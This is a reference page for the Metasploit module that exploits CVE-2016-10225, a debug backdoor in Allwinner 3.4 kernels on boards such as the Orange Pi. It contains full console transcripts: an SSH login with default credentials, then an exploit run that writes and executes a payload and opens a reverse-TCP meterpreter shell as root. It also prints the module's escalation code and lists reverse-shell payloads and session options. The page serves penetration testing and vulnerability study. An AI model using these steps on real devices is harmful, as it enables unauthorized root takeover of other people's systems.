Allwinner 3.4 Legacy Kernel Local Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/multi/local/allwinner_backdoor metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
hide
Module Overview
Name: Allwinner 3.4 Legacy Kernel Local Privilege Escalation
Module: exploit/multi/local/allwinner_backdoor
Source code: modules/exploits/multi/local/allwinner_backdoor.rb
Disclosure date: 2016-04-30
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): armle
Supported platform(s): Android, Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2016-10225
This module attempts to exploit a debug backdoor privilege escalation in Allwinner SoC based devices. Vulnerable Allwinner SoC chips: H3, A83T or H8 which rely on Kernel 3.4 Vulnerable OS: all OS images available for Orange Pis, any for FriendlyARM's NanoPi M1, SinoVoip's M2+ and M3, Cuebietech's Cubietruck + Linksprite's pcDuino8 Uno Exploitation may be possible against Dragon (x10) and Allwinner Android tablets
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.
msf > use exploit/multi/local/allwinner_backdoor
msf exploit(allwinner_backdoor) > show targets
... a list of targets ...
msf exploit(allwinner_backdoor) > set TARGET target-id
msf exploit(allwinner_backdoor) > show options
... show and set options ...
msf exploit(allwinner_backdoor) > set SESSION session-id
msf exploit(allwinner_backdoor) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Introduction
Vulnerable Allwinner SoC chips: H3, A83T or H8 which rely on Kernel 3.4 Vulnerable OS: all OS images available for Orange Pis, any for FriendlyARM's NanoPi M1, SinoVoip's M2+ and M3, Cuebietech's Cubietruck + Linksprite's pcDuino8 Uno Exploitation may be possible against Dragon (x10) and Allwinner Android tablets
This module attempts to exploit a debug backdoor privilege escalation in Allwinner SoC based devices. Implements the Allwinner privilege escalation as documented in Metasploit issue #6869. It is a simple debug kernel module that, when "rootmydevice" is echoed to the process, it escalates the shell to root.
Usage
To use this module, you need a vulnerable device. An Orange Pi (PC model) running Lubuntu 14.04 v0.8.0 works, but other OSes for the device (as well as other devices) are also vulnerable.
use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set username orangepi
username => orangepi
msf auxiliary(ssh_login) > set password orangepi
password => orangepi
msf auxiliary(ssh_login) > set rhosts 192.168.2.21
rhosts => 192.168.2.21
msf auxiliary(ssh_login) > exploit
[*] 192.168.2.21:22 SSH - Starting bruteforce
[+] 192.168.2.21:22 SSH - Success: 'orangepi:orangepi' 'uid=1001(orangepi) gid=1001(orangepi) groups=1001(orangepi),27(sudo),29(audio) Linux orangepi 3.4.39 #41 SMP PREEMPT Sun Jun 21 13:09:26 HKT 2015 armv7l armv7l armv7l GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.229:33673 -> 192.168.2.21:22) at 2016-05-17 21:55:27 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
use exploit/multi/local/allwinner_backdoor
msf exploit(allwinner_backdoor) > set verbose true
verbose => true
msf exploit(allwinner_backdoor) > set session 1
session => 1
msf exploit(allwinner_backdoor) > set payload linux/armle/meterpreter/reverse_tcp
payload => linux/armle/meterpreter/reverse_tcp
msf exploit(allwinner_backdoor) > set lhost 192.168.2.117
lhost => 192.168.2.117
msf exploit(allwinner_backdoor) > check
[*] The target appears to be vulnerable.
msf exploit(allwinner_backdoor) > exploit
Successful exploitation:
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Transmitting intermediate stager...(136 bytes)
[*] Sending stage (374540 bytes) to 192.168.2.248
[+] Backdoor Found, writing payload to /tmp/odzVx.elf
[*] Max line length is 65537
[*] Writing 284 bytes in 1 chunks of 843 bytes (octal-encoded), using printf
[+] Escalating
[*] Transmitting intermediate stager...(136 bytes)
[*] Sending stage (374540 bytes) to 192.168.2.248
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.248:49472) at 2016-09-22 21:56:50 -0400
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 192.168.2.248
OS : Ubuntu 14.04 (Linux 3.4.39)
Architecture : armv7l
Meterpreter : armle/linux
Go back to menu.
Msfconsole Usage
Here is how the multi/local/allwinner_backdoor exploit module looks in the msfconsole:
msf6 > use exploit/multi/local/allwinner_backdoor
[*] Using configured payload linux/armle/meterpreter/reverse_tcp
msf6 exploit(multi/local/allwinner_backdoor) > show info
Name: Allwinner 3.4 Legacy Kernel Local Privilege Escalation
Module: exploit/multi/local/allwinner_backdoor
Platform: Android, Linux
Arch: armle
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2016-04-30
Provided by:
h00die <[email protected]>
KotCzarny
Available targets:
Id Name
-- ----
0 Auto
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload information:
Description:
This module attempts to exploit a debug backdoor privilege
escalation in Allwinner SoC based devices. Vulnerable Allwinner SoC
chips: H3, A83T or H8 which rely on Kernel 3.4 Vulnerable OS: all OS
images available for Orange Pis, any for FriendlyARM's NanoPi M1,
SinoVoip's M2+ and M3, Cuebietech's Cubietruck + Linksprite's
pcDuino8 Uno Exploitation may be possible against Dragon (x10) and
Allwinner Android tablets
References:
https://nvd.nist.gov/vuln/detail/CVE-2016-10225
http://forum.armbian.com/index.php/topic/1108-security-alert-for-allwinner-sun8i-h3a83th8/
https://webcache.googleusercontent.com/search?q=cache:l2QYVUcDflkJ:https://github.com/allwinner-zh/linux-3.4-sunxi/blob/master/arch/arm/mach-sunxi/sunxi-debug.c+&cd=3&hl=en&ct=clnk&gl=us
http://irclog.whitequark.org/linux-sunxi/2016-04-29#16314390
Module Options
This is a complete list of options available in the multi/local/allwinner_backdoor exploit:
msf6 exploit(multi/local/allwinner_backdoor) > show options
Module options (exploit/multi/local/allwinner_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (linux/armle/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
Advanced Options
Here is a complete list of advanced options supported by the multi/local/allwinner_backdoor exploit:
msf6 exploit(multi/local/allwinner_backdoor) > show advanced
Module advanced options (exploit/multi/local/allwinner_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (linux/armle/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/local/allwinner_backdoor module can exploit:
msf6 exploit(multi/local/allwinner_backdoor) > show targets
Exploit targets:
Id Name
-- ----
0 Auto
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/local/allwinner_backdoor exploit:
msf6 exploit(multi/local/allwinner_backdoor) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/linux/armle/adduser normal No Linux Add User
4 payload/linux/armle/exec normal No Linux Execute Command
5 payload/linux/armle/meterpreter/bind_tcp normal No Linux Meterpreter, Bind TCP Stager
6 payload/linux/armle/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
7 payload/linux/armle/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
8 payload/linux/armle/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
9 payload/linux/armle/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
10 payload/linux/armle/shell/bind_tcp normal No Linux dup2 Command Shell, Bind TCP Stager
11 payload/linux/armle/shell/reverse_tcp normal No Linux dup2 Command Shell, Reverse TCP Stager
12 payload/linux/armle/shell_bind_tcp normal No Linux Command Shell, Reverse TCP Inline
13 payload/linux/armle/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the multi/local/allwinner_backdoor exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/local/allwinner_backdoor) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Backdoor <BACKDOOR> not found.
Here is a relevant code snippet related to the "Backdoor <BACKDOOR> not found." error message:
72: vprint_good "Backdoor Found, writing payload to #{exe_file}"
73: write_file(exe_file, pl)
74: cmd_exec("chmod +x #{exe_file}")
75:
76: vprint_good 'Escalating'
77: cmd_exec("echo rootmydevice > #{backdoor}; #{exe_file}")
78: else
79: print_error "Backdoor #{backdoor} not found."
80: end
81: end
82: end
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8279 Merged Pull Request: move mettle payloads to meterpreter, add reverse_http/s stageless
- #7965 Merged Pull Request: Added assigned CVE.
- #7355 Merged Pull Request: allwinner post to local exploit conversion
References
- CVE-2016-10225
- http://forum.armbian.com/index.php/topic/1108-security-alert-for-allwinner-sun8i-h3a83th8/
- https://webcache.googleusercontent.com/search?q=cache:l2QYVUcDflkJ:https://github.com/allwinner-zh/linux-3.4-sunxi/blob/master/arch/arm/mach-sunxi/sunxi-debug.c+&cd=3&hl=en&ct=clnk&gl=us
- http://irclog.whitequark.org/linux-sunxi/2016-04-29#16314390
See Also
Check also the following modules related to this module:
- exploit/multi/local/magnicomp_sysinfo_mcsiwrapper_priv_esc
- exploit/multi/local/vagrant_synced_folder_vagrantfile_breakout
- exploit/multi/local/xorg_x11_suid_server
- exploit/multi/local/xorg_x11_suid_server_modulepath
- exploit/linux/http/webmin_backdoor
- exploit/linux/misc/netcore_udp_53413_backdoor
- exploit/linux/ssh/quantum_vmpro_backdoor
- exploit/multi/http/horde_href_backdoor
- exploit/multi/http/phpmyadmin_3522_backdoor
- exploit/unix/ftp/proftpd_133c_backdoor
- exploit/unix/ftp/vsftpd_234_backdoor
- exploit/unix/irc/unreal_ircd_3281_backdoor
- exploit/unix/webapp/mybb_backdoor
- exploit/windows/http/hp_openview_insight_backdoor
- auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss
- auxiliary/scanner/backdoor/energizer_duo_detect
- auxiliary/scanner/http/dlink_user_agent_backdoor
- auxiliary/scanner/misc/sercomm_backdoor_scanner
- auxiliary/scanner/ssh/eaton_xpert_backdoor
- auxiliary/scanner/ssh/fortinet_backdoor
- auxiliary/scanner/ssh/juniper_backdoor
- exploit/multi/http/caidao_php_backdoor_exec
- exploit/multi/http/mma_backdoor_upload
- exploit/multi/http/openx_backdoor_php
- exploit/multi/http/phpstudy_backdoor_rce
- exploit/multi/http/simple_backdoors_exec
- exploit/unix/webapp/carberp_backdoor_exec
- exploit/windows/backdoor/energizer_duo_payload
Authors
- h00die <[email protected]>
- KotCzarny
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
